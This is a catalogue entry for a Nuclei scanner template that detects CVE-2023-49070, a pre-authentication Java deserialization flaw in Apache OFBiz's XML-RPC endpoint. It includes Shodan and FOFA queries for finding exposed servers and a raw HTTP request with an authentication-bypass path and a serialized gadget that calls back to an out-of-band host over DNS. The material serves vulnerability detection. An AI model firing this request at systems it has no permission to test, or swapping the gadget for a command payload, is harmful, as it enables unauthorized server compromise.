CVE-2023-49070: Apache OFBiz < 18.12.10 - Arbitrary Code Execution
- Template: CVE-2023-49070
- Name: Apache OFBiz < 18.12.10 - Arbitrary Code Execution
- Description: Pre-auth RCE in Apache Ofbiz 18.12.09. It's due to XML-RPC no longer maintained still present. This issue affects Apache OFBiz: before 18.12.10.
- Impact: Unauthenticated attackers can exploit unmaintained XML-RPC functionality to execute arbitrary code through Java deserialization, enabling complete server compromise.
- Remediation: Users are recommended to upgrade to version 18.12.10.
- Severity: critical
- Authors: your3cho
- Tags: cve, cve2023, seclists, apache, ofbiz, deserialization, rce, vkev, vuln
- References: https://lists.apache.org/thread/jmbqk2lp4t4483whzndp5xqlq4f3otg3, https://seclists.org/oss-sec/2023/q4/257, https://twitter.com/Siebene7/status/1731870759130427726, https://nvd.nist.gov/vuln/detail/CVE-2023-49070, https://issues.apache.org/jira/browse/OFBIZ-12812
- Cves: CVE-2023-49070
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2023/CVE-2023-49070.yaml
- Digest: 490a00463044022030d1c9d3a848849a20c0b2669720392429a05489826aac58df703f3ebd16723c02207dbc010d92e3f0215c0ecc3c57c4c1d3eafaf18880947dcd798cc91dc290e693
- Created at: 2023-12-07T06:33:44Z
- Updated at: 2026-11-19T02:03:50Z
- Age in days: 1083
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-49070.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-94
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.95442
- Epss percentile: 0.9987
- Cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
Metadata
- Fofa-query: app="Apache_OFBiz", body="ofbiz", app="apache_ofbiz"
- Max-request: 1
- Product: ofbiz
- Shodan-query: html:"OFBiz", http.html:"ofbiz", ofbiz.visitor=
- Vendor: apache
Products
| Product | Indexed | Url |
|---|---|---|
| apache:ofbiz | yes | /v1/products/apache/ofbiz |
Labels
- Name: Apache Ofbiz - Remote Code Execution
- Impact: Attackers can execute arbitrary code remotely without authentication, leading to full system compromise.
- Remediation: Update to version 18.12.10 or later.
- Vulnerability type: insecure_deserialization
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2023-49070
- Not known: requirements
```yaml
id: CVE-2023-49070
info:
name: Apache OFBiz < 18.12.10 - Arbitrary Code Execution
author: your3cho
severity: critical
description: |
Pre-auth RCE in Apache Ofbiz 18.12.09. It's due to XML-RPC no longer maintained still present. This issue affects Apache OFBiz: before 18.12.10.
impact: |
Unauthenticated attackers can exploit unmaintained XML-RPC functionality to execute arbitrary code through Java deserialization, enabling complete server compromise.
remediation: Users are recommended to upgrade to version 18.12.10.
reference:
- https://lists.apache.org/thread/jmbqk2lp4t4483whzndp5xqlq4f3otg3
- https://seclists.org/oss-sec/2023/q4/257
- https://twitter.com/Siebene7/status/1731870759130427726
- https://nvd.nist.gov/vuln/detail/CVE-2023-49070
- https://issues.apache.org/jira/browse/OFBIZ-12812
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-49070
cwe-id: CWE-94
epss-score: 0.95442
epss-percentile: 0.9987
cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: apache
product: ofbiz
shodan-query:
- html:"OFBiz"
- http.html:"ofbiz"
- ofbiz.visitor=
fofa-query:
- app="Apache_OFBiz"
- body="ofbiz"
- app="apache_ofbiz"
tags: cve,cve2023,seclists,apache,ofbiz,deserialization,rce,vkev,vuln
http:
- raw:
- |
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: {{Hostname}}
Content-Type: application/xml
<?xml version="1.0"?>
<methodCall>
<methodName>{{randstr}}</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">{{generate_java_gadget("dns", "http://{{interactsh-url}}", "base64")}}</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: word
part: body
words:
- '<name>faultString</name>'
digest: 490a00463044022030d1c9d3a848849a20c0b2669720392429a05489826aac58df703f3ebd16723c02207dbc010d92e3f0215c0ecc3c57c4c1d3eafaf18880947dcd798cc91dc290e693:922c64590222798bb761d5b6d8e72950
```